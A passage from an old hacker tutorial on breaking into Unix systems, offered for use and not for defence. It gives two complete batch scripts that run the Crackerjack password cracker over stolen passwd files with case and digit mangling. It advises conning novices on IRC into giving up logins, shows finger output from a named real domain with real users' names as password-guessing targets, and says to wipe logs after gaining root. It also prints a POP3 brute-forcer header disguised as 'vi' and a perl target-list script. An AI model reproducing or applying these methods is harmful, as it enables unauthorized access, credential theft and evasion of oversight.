  920. of the logon's first that used their login name as their password, also if they
  921. used any other info like their real name or company name it will hit right away
  922. and you will not have to wait for the program to search through a word file.
  923.  
  924. If you want to hash the word file to get more out of it you can read the doc's
  925. for crackerjack.
  926.  
  927. Hashing is where you can tell crackerjack to change the case of the wordfile
  928. or even add numbers or letters to the beginning or end of the words in the word
  929. file, like sandy1 or 1sandy.  You will find that many users do this and think
  930. they are more secure.
  931.  
  932. Here are hashing files for both the passwd file and your word list.  After
  933. looking these over you will see how you can modify these or create new ones
  934. to suit your needs.
  935.  
  936. ------------ start of dicthash.bat
  937. @echo off
  938. cls
  939. echo - THIS FILE FOR DOS MACHINES
  940. echo ----------------------------------------------------------------------
  941. echo - To work this batch file have all of the crackerjack files in the
  942. echo - current directory with this batch file, along with your dict and
  943. echo - password file.  Then use this batch file using the following format:
  944. echo -
  945. echo - dicthash.bat dictfilename.ext passwordfilename.ext
  946. echo -
  947. echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
  948. echo -
  949. echo - dicthash will first load jack running the dict file against your
  950. echo - password file in both cases, then it will add numbers 0-9 both to
  951. echo - the begining and end of every dict word.  This will take a while,
  952. echo - so go out for that week vacation!
  953. echo -
  954. echo - If you get tired you can 'ctrl c' to the next option or number.
  955. echo -
  956. echo - ii@dormroom.pyro.net
  957. echo -
  958. echo - Mail me some of your hits, let me know how this works for you ;)
  959.  
  960. jpp -lower %1 | jack -stdin %2
  961. jpp %1 | jack -stdin %2
  962. jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
  963. jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
  964. jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
  965. jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
  966. jpp  -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
  967. jpp  -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
  968. jpp  -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
  969. jpp  -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
  970. jpp  -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
  971. jpp  -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
  972. jpp  -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
  973. jpp  -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
  974. jpp  -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
  975. jpp  -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
  976. jpp  -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
  977. jpp  -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
  978. jpp  -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
  979. jpp  -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
  980. jpp  -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
  981. jpp  -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
  982. jpp  -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
  983. jpp  -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
  984. jpp  -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
  985. jpp  -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
  986. jpp  -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
  987. jpp  -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
  988. jpp  -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
  989. jpp  -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
  990. jpp  -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
  991. jpp  -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
  992. jpp  -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
  993. jpp  -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
  994. jpp  -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
  995. jpp  -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
  996. jpp  -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
  997. jpp  -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
  998. jpp  -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
  999. jpp  -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
  1000. jpp  -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
  1001. jpp  -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
  1002.  
  1003. ---------------- end of dicthash.bat
  1004.  
  1005. ---------------- start of jackhash.bat
  1006. @echo off
  1007. cls
  1008. echo - THIS FILE FOR DOS
  1009. echo ----------------------------------------------------------------------
  1010. echo - To work this batch file have all of the crackerjack files in the
  1011. echo - current directory with this batch file, along with your password file.
  1012. echo - Then use this batch file using the following format:
  1013. echo -
  1014. echo - jackhash.bat passwordfilename.ext
  1015. echo -
  1016. echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
  1017. echo -
  1018. echo - jackhash will first load jack running the passwd file against
  1019. echo - itself in both upper and lower cases, then it will add numbers 0-9
  1020. echo - both to the begining and end of every dict word.  This will take
  1021. echo - a while, so go out for that week vacation!
  1022. echo -
  1023. echo - If you get tired you can 'ctrl c' to the next option or number.
  1024. echo -
  1025. echo - ii@dormroom.pyro.net
  1026. echo -
  1027. echo - Mail me some of your hits, let me know how this works for you ;)
  1028.  
  1029. jpp -gecos:5 -lower %1 | jack -stdin %1
  1030. jpp -gecos:5 %1 | jack -stdin %1
  1031. jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1032. jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1033. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1034. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1035. jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1036. jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1037. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1038. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1039. jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1040. jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1041. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1042. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1043. jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1044. jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1045. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1046. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1047. jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1048. jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1049. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1050. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1051. jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1052. jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1053. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1054. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1055. jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1056. jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1057. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1058. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1059. jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1060. jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1061. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1062. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1063. jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1064. jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1065. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1066. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1067. jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1068. jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1069. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1070. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1071. jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
  1072. jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
  1073. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
  1074. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
  1075. jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
  1076. jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
  1077. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
  1078. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
  1079. jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
  1080. jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
  1081. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
  1082. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
  1083. jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
  1084. jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
  1085. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
  1086. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
  1087. jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
  1088. jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
  1089. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
  1090. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
  1091. jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
  1092. jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
  1093. jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
  1094. jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1
  1095.  
  1096.  
  1097. jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1098. jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1099. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1100. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1101. jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1102. jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1103. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1104. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1105. jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1106. jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1107. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1108. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1109. jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1110. jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1111. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1112. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1113. jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1114. jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1115. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1116. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1117. jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1118. jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1119. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1120. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1121. jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1122. jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1123. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1124. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1125. jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1126. jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1127. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1128. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1129. jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1130. jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1131. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1132. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1133. jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1134. jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1135. jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1136. jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1137.  
  1138.  
  1139. jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1140. jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1141. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1142. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1143. jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1144. jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1145. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1146. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1147. jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1148. jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1149. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1150. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1151. jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1152. jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1153. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1154. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1155. jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1156. jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1157. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1158. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1159. jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1160. jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1161. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1162. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1163. jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1164. jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1165. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1166. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1167. jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1168. jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1169. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1170. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1171. jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1172. jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1173. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1174. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1175. jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1176. jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1177. jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1178. jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1179.  
  1180.  
  1181. jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1182. jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1183. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
  1184. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
  1185. jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1186. jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1187. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
  1188. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
  1189. jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1190. jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1191. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
  1192. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
  1193. jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1194. jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1195. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
  1196. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
  1197. jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1198. jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1199. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
  1200. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
  1201. jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1202. jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1203. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
  1204. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
  1205. jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1206. jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1207. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
  1208. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
  1209. jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1210. jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1211. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
  1212. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
  1213. jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1214. jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1215. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
  1216. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
  1217. jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1218. jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1219. jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
  1220. jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
  1221.  
  1222. --------------- end of jackhash.bat
  1223.  
  1224. You can get password files without an account, see next chapter.
  1225.  
  1226. ------------------
  1227. Section 2B.
  1228. Talking to newbe's
  1229. ------------------
  1230.  
  1231. There are other ways to get an account without doing much work.  Park yourself
  1232. on an irc channel that you made with a title about hacking.  Also try joining
  1233. other channels already on the irc.  Channels would include:
  1234. #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
  1235. #hackers_hideout or any others you can find.
  1236.  
  1237. Now what you are looking for are newbe's looking to learn or exploit their shell
  1238. they are on already.  There is always someone out there that does not know as
  1239. much as you.  Watch for someone out there that asks a newbe question and gets
  1240. no answer or even kicked off the channel.  Here is your mark ;)
  1241.  
  1242. /msg him so that others can't see that you are talking to him, and begin to ask
  1243. him questions, try to help him, but not too much ;)  Finally tell him that you
  1244. can login for him and do it.  This could be to snatch the passwd file or god
  1245. knows what.  Promise him the world and get that login password.  Now you have
  1246. a start and can start your on-hands learning process.  If you get root on the
  1247. system you might not want to expose that to him, but you can feed him other
  1248. goodies that will keep him busy while you sniff some other passwords on the
  1249. system.
  1250.  
  1251. So now if there are some out there that remember i-e when you gave him your
  1252. login and password, you can be sure that the above never happened <G>rin ...
  1253.  
  1254. I tend to like to help people learn so I am telling the truth when i say I
  1255. have dealt honestly with most everyone I have come across.
  1256.  
  1257. -------------
  1258. Section 2C.
  1259. The hard way
  1260. -------------
  1261.  
  1262. There is another way you can do this.  Be sure that on most big systems
  1263. that users do not use secure passwords.  from a shell do this:
  1264.  
  1265. finger @domainname.com  Watch I will do a real domain:
  1266.  
  1267. [10:35am][/home/ii]finger @starnet.net
  1268. [starnet.net]
  1269. Login    Name                 Tty   Idle  Login Time   Office     Office Phone
  1270. chris    Chris Myers           p2   4:46  Jan 27 11:19
  1271. mike     Mike Suter            p1   4:57  Jan 22 16:14
  1272. mike     Mike Suter            p5     3d  Jan 16 15:35
  1273. root     System Administrator  p3   4:59  Jan 16 10:17
  1274. wendt    Catherine Wendt-Bern  p0      3  Jan 21 14:49
  1275. [10:35am][/home/ii]
  1276.  
  1277. Now we might want to try logging in later, log this information:
  1278.  
  1279. Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc...
  1280.  
  1281. This one looks good, wendt:Catherine:catherine
  1282.  
  1283. Here is another command:
  1284.  
  1285. [10:35am][/home/ii]finger -l @starnet.net
  1286. [starnet.net]
  1287.  
  1288.  
  1289. Login: mike                             Name: Mike Suter
  1290. Directory: /usra/staff/mike             Shell: /bin/csh
  1291. On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
  1292. On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
  1293. Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
  1294. No Plan.
  1295.  
  1296. Login: root                             Name: System Administrator
  1297. Directory: /root                        Shell: /bin/csh
  1298. On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
  1299. Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
  1300. Mail forwarded to:
  1301. \chris@admin.starnet.net
  1302. #\chris@admin.starnet.net, \mike@admin.starnet.net
  1303. No Plan.
  1304.  
  1305. Login: wendt                            Name: Catherine Wendt-Bernal
  1306. Directory: /usra/staff/wendt            Shell: /bin/csh
  1307. On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
  1308. No Plan.
  1309.  
  1310. You get more info to play with ;)
  1311.  
  1312.  
  1313. I know this can make you tired ....
  1314.  
  1315. Remember this stuff will log your tries, so if you get on and get root, clean
  1316. the logs ;)
  1317.  
  1318. Here is a small .c file you can use if you get on.
  1319.  
  1320. pop3hack.c
  1321. ----- cut here
  1322.  
  1323. #include <stdio.h>
  1324. #include <string.h>
  1325. #include <signal.h>
  1326. #include <unistd.h>
  1327. #include <sys/param.h>
  1328. #include <sys/socket.h>
  1329. #include <netinet/in.h>
  1330. #include <netdb.h>
  1331. #include <stdarg.h>
  1332.  
  1333. /* First, define the POP-3 port - almost always 110 */
  1334. #define POP3_PORT               110
  1335.  
  1336. /* What we want our program to be masked as, so nosy sys admin's don't kill us */
  1337. #define MASKAS                  "vi"
  1338.  
  1339. /* Repeat connect or not - remember, logs still report a connection, so
  1340. you might want to set this to 0. If set to 0, it will hack until it finds
  1341. 1 user/password then exit. If set to 1, it will reconnect and try more
  1342. user/passwords (until it runs out of usernames) */
  1343. #define RECONNECT       0
  1344.  
  1345. ----- cut here
  1346.  
  1347. You could also write a small perl script that will finger @ from a domain
  1348. list and cat the response to a file, then when done it will go back and try
  1349. to login using pop3d username-username (or other info) and putting the
  1350. response into another file for you.
  1351.  
  1352. You can ftp to rs.internic.net:
  1353. in the domain directory you will find:
  1354.  
  1355. com.zone.gz
  1356. edu.zone.gz
  1357. gov.zone.gz
  1358. mil.zone.gz
  1359. net.zone.gz
  1360. org.zone.gz
  1361.  
  1362. download these files and run getdomain.pl (script below) on the domains you
  1363. want to target first, in this manor:
  1364.  
  1365. "perl getdomain.pl com.zone com >com.all"
  1366.  
  1367. What this will do is rip all of the .COM domains and put them into a file
  1368. called comm.all.
  1369.  
  1370. If you wanted to do all of the .EDU addresses you would type:
  1371.  
  1372. perl getdomain.pl edu.zone edu >edu.all
  1373.  
  1374. Now you will have a list to use with your probe called edu.all
  1375.  
  1376. Here is the perl script
  1377.  
  1378. getdomain.pl
  1379. ---- cut here
  1380. #!/usr/bin/perl
  1381.  
  1382. # GetDomain By Nfin8 / Invisible Evil
  1383. # Questions /msg i-e  or  /msg i^e
  1384. #
  1385. # Retrieve command line arguments.
  1386. my($inputfile, $domain) = @ARGV;
  1387. usage() if (!defined($inputfile) || !defined($domain));
  1388.  
  1389. # Open and preprocess the input file.
  1390. open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
  1391. my(@lines) = <INFILE>;
  1392.  
  1393. # Initialize main data structure.
  1394. my(%hash) = {};
  1395. my($key) = "";
  1396.  
  1397. foreach (@lines) {
  1398.   $key = (split(/\ /))[0];
  1399.   chop($key);
  1400.   next if ((($key =~ tr/.//) < 1) || 
  1401.             (uc($domain) ne uc(((split(/\./, $key))[-1]))) || 
  1402.             ($key =~ m/root-server/i));
  1403.   $hash{$key}++;
  1404. }
  1405.  
  1406. # Close input file and output data structure to STDOUT.
  1407. close(INFILE);
  1408.  
  1409. foreach (sort(keys(%hash))) {
  1410.   print "$_\n";
  1411. }
  1412.  
  1413. sub usage {
  1414.   print("\n\ngetdomain:\n");
  1415.   print("Usage: getdomain [inputfile] [search]\n\n");
  1416.   print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
  1417.   exit(0);
  1418. }
  1419.   
  1420. 0;
  1421.   
  1422. ---- cut here - end of script -----
  1423.  
  1424. To use the script above all you need to do is copy between the lines above
  1425. and name it getdomain.pl, now copy it into the unix os and type
  1426. chmod +x getdomain.pl
  1427.  
  1428. Now it is ready to run with the command lines above.
  1429.  
  1430. ------------------------------------------
  1431. Section 2D.
  1432. using Mount to gain access to unix systems
  1433. ------------------------------------------
  1434.  
  1435. This is not hard to do and there are many systems out there that are mountable.
  1436. Mount is a command in unix that will allow you to mount remote machines drives
  1437. you yours.  This is done so you can do installs from other machines, or just
  1438. share drives or directories across the network.  The problem is that many
  1439. admins are good with unix commands or setup.  Or maybe they are just plain
  1440. lazy and mount the drives with world access not understanding that the world
  1441. can mount the drive and gain write access to their users directories.
  1442.  
